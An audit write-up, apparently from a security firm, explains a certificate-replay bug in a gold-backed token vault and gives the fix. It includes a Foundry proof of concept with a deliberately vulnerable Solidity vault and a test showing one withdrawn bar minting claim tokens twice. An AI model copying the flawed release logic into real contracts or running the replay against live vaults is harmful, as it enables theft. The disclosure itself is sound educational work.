This is one of the vulnerability our auditors had found during a client engagement. We’re sharing it here, because walking through a real bug is one of the best ways to learn what to watch for when you’re building or reviewing something similar. This is the first in a series where we’ll be doing that with some of the more interesting things we catch during audits.
The protocol in this case is a gold-backed vault. Customers send in physical gold bars, and in return, the protocol gives them a claim token that represents that gold on-chain. Behind the scenes, each bar is tracked with an NFT, called a certificate, that proves the vault is holding that specific bar. We found a way for a customer to take their real gold out of the vault, and then trick the system into minting them a second batch of claim tokens for gold that had already left.
How the vault works
Every physical gold bar is represented by one certificate NFT. When a new bar arrives, the protocol’s certifier verifies it, and the vault mints a fresh certificate. That certificate stays with the vault, not the customer, as proof the bar is inside, and the vault mints a claim token against it, the customer’s on-chain claim to that gold. A customer can also hand in a certificate they already hold to mint more claim tokens against it, as long as the vault is actually holding the matching bar.
When a customer wants their gold back, they burn their claim tokens and the vault releases the bar. At that point the certificate is supposed to be worthless. Its only job was proving the vault held that specific bar, and once the bar is out, that’s no longer true.
What went wrong
The vault doesn’t destroy the certificate on release. It just hands it straight back to the customer, still perfectly valid.
So the customer walks away holding two things: the gold bar, and a certificate that still tells the vault this bar is safely inside. Nothing stops them from walking back in, handing that certificate over again, and minting a fresh batch of claim tokens for gold that’s already gone.
The fix already existed in the code. CertificatesNFT.burn destroys a certificate. It can only be called by the vault, and only while the vault holds the certificate, exactly the situation at the moment gold gets released. Nobody called it.
Here’s the function, the one a customer calls once they’ve burned their claim tokens and are ready to walk out with their gold:
certificatePositions[id] =
VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.OutsideVault, activeRequestId: 0});
nft.transferFrom(me, recipient, id);
The position flips to OutsideVault, and the certificate goes straight back into the customer’s wallet. Nothing marks it as used.
Why it’s worse than it looks
Getting a genuinely new certificate is hard on purpose: it needs sign-off from the protocol’s certifier, plus a one-time custody reference proving a specific bar arrived. Handing an old certificate back in needs none of that. The vault just checks the certificate says outside the vault and takes its word for it.
It gets worse. Certificates are never destroyed, so a bar’s serial number stays permanently marked as used. If that same bar genuinely comes back through the front door, the vault can’t issue it a clean new certificate, that path is blocked, the serial number is already taken. Reusing the old certificate becomes the only way back in, for a legitimate return or a fraudulent one. What should be a rare, risky shortcut ends up as the default path, since nothing else works anymore.
Proof of concept
We built a small working version of the same mechanics to confirm this isn’t theoretical. It isn’t the original’s code, real vaults carry more logic than this, but it reproduces the exact behavior that matters.
Set up a fresh Foundry project:
mkdir gold-poc && cd gold-poc
forge init –no-git .
forge install OpenZeppelin/openzeppelin-contracts –no-git
remappings.txt:
@openzeppelin/=lib/openzeppelin-contracts/
forge-std/=lib/forge-std/src/
src/VaultTypes.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @notice Minimal illustrative reproduction of the position-tracking types
/// referenced in the finding. Not the audited source.
library VaultTypes {
enum CertificateState {
None,
Vaulted,
OutsideVault
}
struct CertificatePosition {
CertificateState state;
uint256 activeRequestId;
}
}
src/CertificatesNFT.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {ERC721} from “@openzeppelin/contracts/token/ERC721/ERC721.sol”;
/// @notice Minimal illustrative reproduction. Represents a custody certificate
/// for one physical gold bar held in the vault. Not the audited source.
contract CertificatesNFT is ERC721 {
address public immutable vault;
modifier onlyVault() {
require(msg.sender == vault, “CertificatesNFT: not vault”);
_;
}
constructor(address _vault) ERC721(“Gold Custody Certificate”, “CERT”) {
vault = _vault;
}
function mint(address to, uint256 id) external onlyVault {
_mint(to, id);
}
/// @dev Only the vault can burn, and only while the vault itself holds
/// the certificate. This is exactly the situation at the moment physical
/// gold is released, which is the call site this finding is about.
function burn(uint256 id) external onlyVault {
require(ownerOf(id) == vault, “CertificatesNFT: vault must hold certificate”);
_burn(id);
}
}
src/ClaimToken.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {ERC20} from “@openzeppelin/contracts/token/ERC20/ERC20.sol”;
/// @notice Minimal illustrative reproduction of the tokenized-gold claim
/// token. Not the audited source, and not the real token name.
contract ClaimToken is ERC20 {
address public immutable vault;
modifier onlyVault() {
require(msg.sender == vault, “ClaimToken: not vault”);
_;
}
constructor(address _vault) ERC20(“Vault Gold Claim”, “CLAIM”) {
vault = _vault;
}
function mint(address to, uint256 amount) external onlyVault {
_mint(to, amount);
}
function burnFrom(address from, uint256 amount) external onlyVault {
_burn(from, amount);
}
}
src/GoldVaultVulnerable.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {CertificatesNFT} from “./CertificatesNFT.sol”;
import {ClaimToken} from “./ClaimToken.sol”;
import {VaultTypes} from “./VaultTypes.sol”;
/// @notice Minimal illustrative reproduction of the vault’s certificate
/// lifecycle, including the vulnerable release path described in the
/// finding. Not the audited source, trimmed to the mechanics that matter.
contract GoldVaultVulnerable {
CertificatesNFT public immutable certNFT;
ClaimToken public immutable claimToken;
address public immutable certifier;
uint256 public constant CLAIM_PER_BAR = 1_000e18;
mapping(uint256 => VaultTypes.CertificatePosition) public certificatePositions;
mapping(bytes32 => bool) public usedCustodyRefs;
mapping(uint256 => bool) public serialRegistered;
modifier onlyCertifier() {
require(msg.sender == certifier, “GoldVault: not certifier”);
_;
}
constructor(address _certifier) {
certifier = _certifier;
certNFT = new CertificatesNFT(address(this));
claimToken = new ClaimToken(address(this));
}
/// @notice Bar arrival. Strongly validated: certifier-gated, and the
/// custody reference proving the bar arrived can only be used once.
function registerNewBar(address to, uint256 certId, uint256 serial, bytes32 custodyRef)
external
onlyCertifier
{
require(!serialRegistered[serial], “GoldVault: serial already registered”);
require(!usedCustodyRefs[custodyRef], “GoldVault: custody ref already used”);
usedCustodyRefs[custodyRef] = true;
serialRegistered[serial] = true;
certNFT.mint(address(this), certId); // certificate stays with the vault while the bar is inside
certificatePositions[certId] =
VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.Vaulted, activeRequestId: 0});
claimToken.mint(to, CLAIM_PER_BAR);
}
/// @notice Re-presenting an existing certificate. No certifier check and
/// no custody reference, open to anyone holding a certificate that is
/// currently marked OutsideVault.
function depositCertificate(uint256 certId) external {
require(
certificatePositions[certId].state == VaultTypes.CertificateState.OutsideVault,
“GoldVault: certificate not outside vault”
);
certNFT.transferFrom(msg.sender, address(this), certId);
certificatePositions[certId] =
VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.Vaulted, activeRequestId: 0});
claimToken.mint(msg.sender, CLAIM_PER_BAR);
}
/// @notice Physical release. This is the call site the finding is about.
function release(uint256 certId, address recipient) external {
require(
certificatePositions[certId].state == VaultTypes.CertificateState.Vaulted,
“GoldVault: certificate not vaulted”
);
claimToken.burnFrom(msg.sender, CLAIM_PER_BAR);
// — vulnerable: hands a fully valid certificate back instead of retiring it —
certificatePositions[certId] =
VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.OutsideVault, activeRequestId: 0});
certNFT.transferFrom(address(this), recipient, certId);
}
}
test/GoldSoldTwice.t.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console2} from “forge-std/Test.sol”;
import {GoldVaultVulnerable} from “../src/GoldVaultVulnerable.sol”;
import {VaultTypes} from “../src/VaultTypes.sol”;
import {CertificatesNFT} from “../src/CertificatesNFT.sol”;
contract GoldSoldTwiceTest is Test {
address certifier = makeAddr(“certifier”);
address customer = makeAddr(“customer”);
uint256 constant CERT_ID = 1;
uint256 constant SERIAL = 42;
bytes32 constant CUSTODY_REF = keccak256(“bar-42-arrival”);
function test_ReleasedCertificateCanBeRedepositedForFreshClaim() public {
GoldVaultVulnerable vault = new GoldVaultVulnerable(certifier);
// One physical bar arrives and is registered. This is the strongly
// validated path: certifier-gated, one-time custody reference.
vm.prank(certifier);
vault.registerNewBar(customer, CERT_ID, SERIAL, CUSTODY_REF);
console2.log(
“bar registered, one time only | claim balance:”,
vault.claimToken().balanceOf(customer) / 1e18
);
assertEq(
vault.claimToken().balanceOf(customer),
vault.CLAIM_PER_BAR(),
“customer should hold 1 bar of claim tokens”
);
// Customer redeems: burns claim tokens, takes the physical gold out.
vm.startPrank(customer);
vault.release(CERT_ID, customer);
vm.stopPrank();
console2.log(
“gold released to customer | claim balance:”,
vault.claimToken().balanceOf(customer) / 1e18
);
assertEq(
vault.claimToken().balanceOf(customer),
0,
“claim tokens were burned on release”
);
assertEq(
vault.certNFT().ownerOf(CERT_ID),
customer,
“certificate came back to the customer intact”
);
(VaultTypes.CertificateState state, ) = vault.certificatePositions(
CERT_ID
);
assertEq(
uint8(state),
uint8(VaultTypes.CertificateState.OutsideVault),
“certificate still marked valid”
);
// The gold has left the building. The certificate for it has not
// been touched. Hand it straight back in.
vm.startPrank(customer);
vault.certNFT().approve(address(vault), CERT_ID);
vault.depositCertificate(CERT_ID);
vm.stopPrank();
console2.log(
“same certificate redeposited | claim balance:”,
vault.claimToken().balanceOf(customer) / 1e18
);
// Fresh claim tokens, minted against a bar that is no longer in the vault.
assertEq(
vault.claimToken().balanceOf(customer),
vault.CLAIM_PER_BAR(),
“customer minted a second bar of claim tokens against the same, already-withdrawn gold”
);
}
}
Run it:
forge test –match-contract GoldSoldTwiceTest -vv
Output:
Ran 1 test for test/GoldSoldTwice.t.sol:GoldSoldTwiceTest
[PASS] test_ReleasedCertificateCanBeRedepositedForFreshClaim() (gas: 3884735)
Logs:
bar registered, one time only | claim balance: 1000
gold released to customer | claim balance: 0
same certificate redeposited | claim balance: 1000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.03ms (1.81ms CPU time)
Ran 1 test suite in 156.98ms (6.03ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Look at the claim token balance across those log lines. It goes up to 1,000 when the bar is registered, drops to 0 on release, then climbs back to 1,000, just from handing the same certificate back in. One bar of gold. Two batches of claim tokens.
The fix
certificatePositions[id] =
– VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.OutsideVault, activeRequestId: 0});
– nft.transferFrom(me, recipient, id);
+ VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.None, activeRequestId: 0});
+ nft.burn(id);
That’s the entire fix. Burn the certificate instead of returning it. No new checks, no new state, both already existed. The only missing piece was calling burn.
// src/GoldVaultFixed.sol, patched release()
function release(uint256 certId, address recipient) external {
require(
certificatePositions[certId].state == VaultTypes.CertificateState.Vaulted,
“GoldVault: certificate not vaulted”
);
claimToken.burnFrom(msg.sender, CLAIM_PER_BAR);
certificatePositions[certId] =
VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.None, activeRequestId: 0});
certNFT.burn(certId);
}
Conclusion
This bug wasn’t flashy, one function handed back something it should have destroyed, and the fix was already sitting in the code, unused. Most real bugs are like that, a small gap between what a system assumes and what’s actually still true.
Originally published at https://www.quillaudits.com.
Quill Findings: Eligibility Replay in Tokenized Assets was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.
